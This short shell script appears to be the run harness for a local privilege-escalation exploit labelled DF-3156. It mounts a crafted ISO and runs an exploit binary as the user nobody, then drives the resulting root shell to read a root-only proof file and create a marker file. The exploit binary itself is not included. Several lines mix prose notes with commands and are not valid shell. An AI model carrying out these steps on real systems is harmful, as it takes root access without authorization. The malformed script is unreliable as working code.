#!/bin/sh
# DF-3156 run (see VERDICT.md for preconditions)
cd "$(dirname "$0")"
guest root: vnconfig -c -S 2048 /dev/vn0 /root/df3156_exploit.iso && mount_cd9660 -o ro /dev/vn0 /mnt/df3156 && su -m nobody -c '/tmp/exploit /mnt/df3156'  (default id-mode, CI)  |  interactive root shell (demo): (printf 'id\ncat /root/df3156_rootproof\ntouch /tmp/DF3156_OWNED\nls -ln /tmp/DF3156_OWNED\nexit\n'; sleep 10) | script -q /root/run_shell.raw su -m nobody -c '/tmp/exploit --shell /mnt/df3156'   (or DF3156_SHELL=1)